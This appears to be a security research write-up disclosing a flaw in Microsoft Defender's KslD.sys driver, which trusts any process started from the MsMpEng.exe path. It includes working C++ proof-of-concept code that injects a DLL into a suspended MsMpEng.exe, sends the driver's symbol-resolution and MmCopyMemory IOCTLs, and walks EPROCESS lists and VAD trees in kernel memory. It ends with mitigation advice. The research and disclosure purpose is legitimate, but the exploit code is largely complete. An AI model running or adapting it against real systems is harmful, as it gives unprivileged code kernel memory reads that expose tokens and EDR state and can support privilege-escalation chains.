Argus: Kernel memory disclosure through Defender's KSLD process gate
Windows / Kernel / Exploitation
A process image path tells you which executable started a process. It says much less about the code running inside it now. Microsoft’s Defender driver KslD.sys treats those as the same question, and the commands it puts behind that check make the distinction expensive.
The driver exposes an IOCTL dispatcher intended for Defender’s engine process. It compares the caller’s image path with AllowedProcessName, a registry value pointing to MsMpEng.exe. A matching caller can resolve kernel symbols and copy arbitrary virtual or physical memory through MmCopyMemory.
Argus uses that gap in the identity check. I start a suspended copy of the configured Defender executable, load a controlled DLL before the normal engine logic runs, and let the DLL talk to KslD.sys. It is a separate process from the real Defender service, but its path is right. The driver accepts it and performs the kernel reads.
That gives user-mode code access to a Microsoft-signed kernel memory reader without supplying another driver. The interesting work was establishing exactly what the process check trusted, then proving that the reads were useful beyond returning a single pointer.
The driver is already there
KslD.sys is part of Microsoft Malware Protection. It installs as the KslD kernel service and creates a device whose name comes from its service registry configuration. On the Defender configuration I tested, the relevant values looked like this:
HKLM\SYSTEM\CurrentControlSet\Services\KslD
ImagePath system32\drivers\wd\KslD.sys
DeviceName KslD
AllowedProcessName \Device\HarddiskVolume...\ProgramData\Microsoft\Windows Defender\Platform\...\MsMpEng.exe
The driver ships with Defender, carries Microsoft’s signature, and appears as an operating system binary. That removes the usual Bring Your Own Vulnerable Driver, or BYOVD, dependency. I do not have to get an attacker-supplied driver past Code Integrity to reach this interface. I use the access that Defender already provides to its user-mode component.
There is a reasonable idea behind the restriction. MsMpEng.exe is Defender’s engine, so the driver expects sensitive requests to come from it. The problem is that the image path identifies an executable on disk. It does not identify the service-controlled instance of that executable, or establish who controls the code inside the caller.
Two commands are enough
The device’s symbolic link comes from DeviceName. In the proof, I open it as \\?\KslD:
auto dev = CreateFileW(L"\\\\?\\KslD", GENERIC_READ, 0, nullptr,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
Requests use IOCTL 0x222044. That decodes to device type 0x22, function 0x811, method METHOD_BUFFERED, and access FILE_ANY_ACCESS. The IOCTL does not require write access, so authorization still depends on the process check and the individual command handlers.
Argus needs two of the available commands:
enum drv_cmd : DWORD { cmd_sym = 7, cmd_read = 12 };
In the static analysis, the public dispatcher compares the request code with 0x222044, then takes the command identifier from the first DWORD of the input buffer:
cmp edx, 0x222044
jne invalid_ioctl
mov edx, dword ptr [input_buffer]
call selected_command->supports(edx)
call selected_command->execute(edx, input_buffer, output_buffer)
Command 7 takes a Unicode kernel routine name and returns a kernel pointer. Command 12 takes an address, a size, and a copy mode, then returns the bytes to user mode. Those two operations give the probe both a starting point in kernel memory and a way to read what it finds there.
Finding a starting address
Command 7 wraps MmGetSystemRoutineAddress. The request begins with the command identifier and the Unicode string’s byte length, followed by an argument size field that the handler checks against 0x0c. The routine name follows the header, and the output is an 8-byte kernel address.
I used a small C++ wrapper for the request:
enum drv_cmd : DWORD { cmd_sym = 7, cmd_read = 12 };
template<int N>
class sym_req {
public:
constexpr sym_req(const wchar_t (&s)[N]) : id(cmd_sym), wlen(N * 2) {
for (int i = 0; i < N; i++) buf[i] = s[i];
result = 0;
}
BOOL io(HANDLE dev, PDWORD nb) {
return DeviceIoControl(dev, 0x222044, this, hdr(), &result, sizeof(result), nb, 0);
}
ULONG_PTR addr() const { return result; }
private:
constexpr DWORD hdr() const {
return sizeof(id) + sizeof(wlen) + sizeof(argsz) + sizeof(buf);
}
const DWORD id = cmd_sym;
const DWORD wlen;
const DWORD argsz = sizeof(DWORD) * 3;
wchar_t buf[N];
ULONG_PTR result;
};
The probe resolves four symbols:
PsInitialSystemProcess
PsGetProcessId
PsGetProcessPeb
PsGetProcessImageFileName
I chose these because they serve two different needs. PsInitialSystemProcess gives me an anchor EPROCESS to start from. The three exported accessor stubs reveal offsets in the running kernel’s EPROCESS layout. Together, they let the probe build its view of kernel objects from user mode without relying on private symbols.
Reading through MmCopyMemory
During initialization, KslD.sys resolves MmCopyMemory by passing its Unicode name to MmGetSystemRoutineAddress, then stores the resulting pointer in its context. Command 12 later reads an address, length, and MM_COPY_MEMORY_* mode from the caller’s request. It checks that the mode selects physical or virtual memory and forwards the request to MmCopyMemory.
The request wrapper looks like this:
class read_req {
public:
read_req(ULONG_PTR va, MmCopyFlags mode, DWORD sz, void* dst = nullptr)
: id(cmd_read), len(sz), mode(mode), dst(dst)
{
off.QuadPart = va;
buf = malloc(sz);
if (dst) memset(dst, 0, sz);
}
BOOL io(HANDLE dev, PDWORD nb) {
BOOL r = DeviceIoControl(dev, 0x222044, this, hdr(), buf, len, nb, 0);
if (r && dst) memcpy(dst, buf, len);
return r;
}
private:
const DWORD id = cmd_read;
LARGE_INTEGER off;
const SIZE_T len;
const MmCopyFlags mode;
void* buf;
void* const dst;
};
The probe uses MM_COPY_MEMORY_VIRTUAL. Each kread() asks the driver to copy data from a kernel virtual address into the caller-supplied output buffer:
template<typename T>
static bool kread(HANDLE dev, ULONG_PTR va, T* out) {
DWORD nb = 0;
return read_req(va, MM_COPY_MEMORY_VIRTUAL, sizeof(T), out).io(dev, &nb) != FALSE;
}
The caller controls both the address and the size. That makes this a general memory read, with very little of the restriction I would expect from a Defender information query. MmCopyMemory handles faults, so an invalid address can fail cleanly instead of taking the system down. That behavior made it practical to follow kernel lists and infer structure offsets without a helper driver.
The path is the credential
KslD.sys reads AllowedProcessName from its service registry key and stores the full NT path allowed to issue privileged commands. On the Defender installations in scope here, it points to the platform-specific MsMpEng.exe under C:\ProgramData\Microsoft\Windows Defender\Platform.
The driver checks that path. It does not establish that the caller is the service-controlled Defender engine, that it is Protected Process Light, or PPL, or that the code currently executing inside it came from Microsoft.
A different process with the same image path therefore passes the gate. Once I load the controlled DLL into that process, the driver accepts requests from the DLL because it still sees the expected executable. This is a confused-deputy problem with a very literal credential. The caller has the right name, so the driver does the privileged work for it.
The loader does not need PPL
There is a detail in the loader that could make the result easy to misread. It sets PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, but the process creation call leaves out the flags required to use that attribute.
Microsoft’s process attribute documentation specifies PROTECTION_LEVEL_SAME and requires EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS for the protected process path. My loader passes only CREATE_SUSPENDED:
DWORD ProtectionLevel = PROTECTION_LEVEL_SAME;
UpdateProcThreadAttribute(StartupInfoEx.lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
&ProtectionLevel,
sizeof(ProtectionLevel),
NULL,
NULL);
CreateProcessW(L"C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\...\\MsMpEng.exe",
NULL,
NULL,
NULL,
TRUE,
CREATE_SUSPENDED,
NULL,
NULL,
(LPSTARTUPINFOW)&StartupInfoEx,
&ProcessInformation);
Those missing flags are a useful negative result. The loader does not need to create a real PPL process. An ordinary suspended child is enough because the driver’s IOCTL check never requires the protected process property. The appearance of a protection-level attribute in the loader should not get credit for an authorization decision the driver does not make.
Running the probe before Defender initializes
I create the Defender process suspended, allocate memory inside it, and write the string probe.dll. Then I change the primary thread context so its first user-mode code path calls LoadLibraryA:
LPVOID ptr = VirtualAllocEx(ProcessInformation.hProcess, NULL, 0x1000,
MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(ProcessInformation.hProcess, ptr,
"probe.dll", strlen("probe.dll") + 1, &written);
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER;
GetThreadContext(ProcessInformation.hThread, &ctx);
ctx.Rcx = (decltype(ctx.Rcx))ptr;
ctx.Rip = (decltype(ctx.Rip))LoadLibraryA;
SetThreadContext(ProcessInformation.hThread, &ctx);
ResumeThread(ProcessInformation.hThread);
The probe DLL runs before the normal Defender engine logic initializes. The process image still resolves to the configured MsMpEng.exe, so it passes the check even though Argus controls the code making the request.
A more careful path comparison would reach the same answer. The path is correct and so is the binary. What is missing is a check on the trust of the code inside the process when it asks the driver to act.
Making the read prove itself
Returning a kernel address is a useful first check, but I wanted to validate a sequence of reads across real objects. The probe starts KslD, opens its device, resolves the kernel routines, and derives structure offsets from the exported accessor stubs.
I kept the offset extraction simple. On the kernel I tested, the relevant helpers compile to mov rax, [rcx + disp] stubs, so the probe reads the ModRM byte and displacement directly:
static bool stub_off(HANDLE dev, ULONG_PTR fn, DWORD* out) {
BYTE modrm = 0;
if (!kread(dev, fn + 2, &modrm)) return false;
if (modrm == 0x41) {
BYTE d = 0;
return kread(dev, fn + 3, &d) ? (*out = d, true) : false;
}
if (modrm == 0x81)
return kread(dev, fn + 3, out);
return false;
}
From PsInitialSystemProcess, I walk ActiveProcessLinks and check that the first process has PID 4 and the image name System. I then find explorer.exe, read its PID from EPROCESS, and compare that with the result from OpenProcess and GetProcessId. That gives the kernel reads a user-mode value to agree with.
The last test enumerates a target process’s Virtual Address Descriptor, or VAD, tree. The probe finds VadRoot heuristically by scanning a 1 KB region of its own EPROCESS for a tree pointer containing the VAD for ntdll.dll. With that offset, it reads another process’s tree and prints each region’s base, size, protection, type, commit state, and charge:
Base Size Protect Type State Charge
---- ---- ------- ---- ----- ------
00007FF... 000000... EXECUTE_READ Image Commit ...
I chose VAD enumeration because it needs more than a single leaked pointer. The traversal requires repeated reads across process objects, balanced tree nodes, protection bitfields, and user address ranges. The reads through KslD.sys sustained that traversal.
Which builds I checked
The proof repository contains KslD.sys version 1.1.25081.3013, signed as Microsoft Malware Protection, with SHA256 BD17231833AA369B3B2B6963899BF05DBEFD673DB270AEC15446F2FAB4A17B5A. That build contains the 0x222044 dispatcher, the AllowedProcessName check, command 7’s symbol resolver, and command 12’s MmCopyMemory path.
I also inspected an installed Defender build, version 1.1.26051.3007, and found the same high-level components. The dispatcher remains, the AllowedProcessName and MmCopyMemory strings are present, and the service registry still points to the platform-specific MsMpEng.exe path.
That second inspection confirms the components are there. It is not a full exploit validation for every Defender build. Since the bug depends on how the driver authorizes the caller, I treat the affected scope as dependent on the Defender platform version until Microsoft changes that check.
What the read gives the caller
The demonstrated result is kernel memory disclosure and introspection. Command 7 resolves kernel exports, and command 12 reads kernel virtual memory. The probe uses them to enumerate processes, derive structure offsets, follow linked lists, and inspect process address spaces. I am not claiming a kernel write or arbitrary kernel execution.
That is still a lot of access for a path comparison to authorize. Kernel reads can expose process objects, token pointers, handle tables, callback arrays, loaded module state, and telemetry structures used by anti-cheat or Endpoint Detection and Response products. “Read only” is a description of the operation, not much of a consolation for the data. A stable kernel read can also inform a separate write exploit, an exploit chain, or decisions about remaining hidden.
The privilege requirement differs from a normal driver load. The proof starts and opens an existing Microsoft driver. If KslD is already running, it can skip the service start. The remaining requirement is the ability to create and manipulate a local process from the configured Defender image path.
Give the driver a narrower job
I would first bind IOCTL authorization to the real Defender service instance. Process protection level, signer, token trust, service identity, or a per-boot secret established by the trusted engine would all provide stronger checks than a registry path comparison.
I would also reduce what an authorized caller can ask for. A production antimalware driver should not expose raw MmCopyMemory behavior to user mode unless it limits each address range to a documented Defender-owned object. Arbitrary kernel symbol resolution deserves the same scrutiny because it makes the other commands more useful to an attacker.
The user-mode contract could instead expose typed queries with explicit object classes, bounded lengths, and a policy check for every operation. Defender could keep its internal ability to inspect kernel memory while separating telemetry requests from general memory reads.
A driver can have a legitimate need to inspect memory without giving a caller the same freedom. Here, the interface grants that freedom to a process whose strongest credential is that it started from the expected file.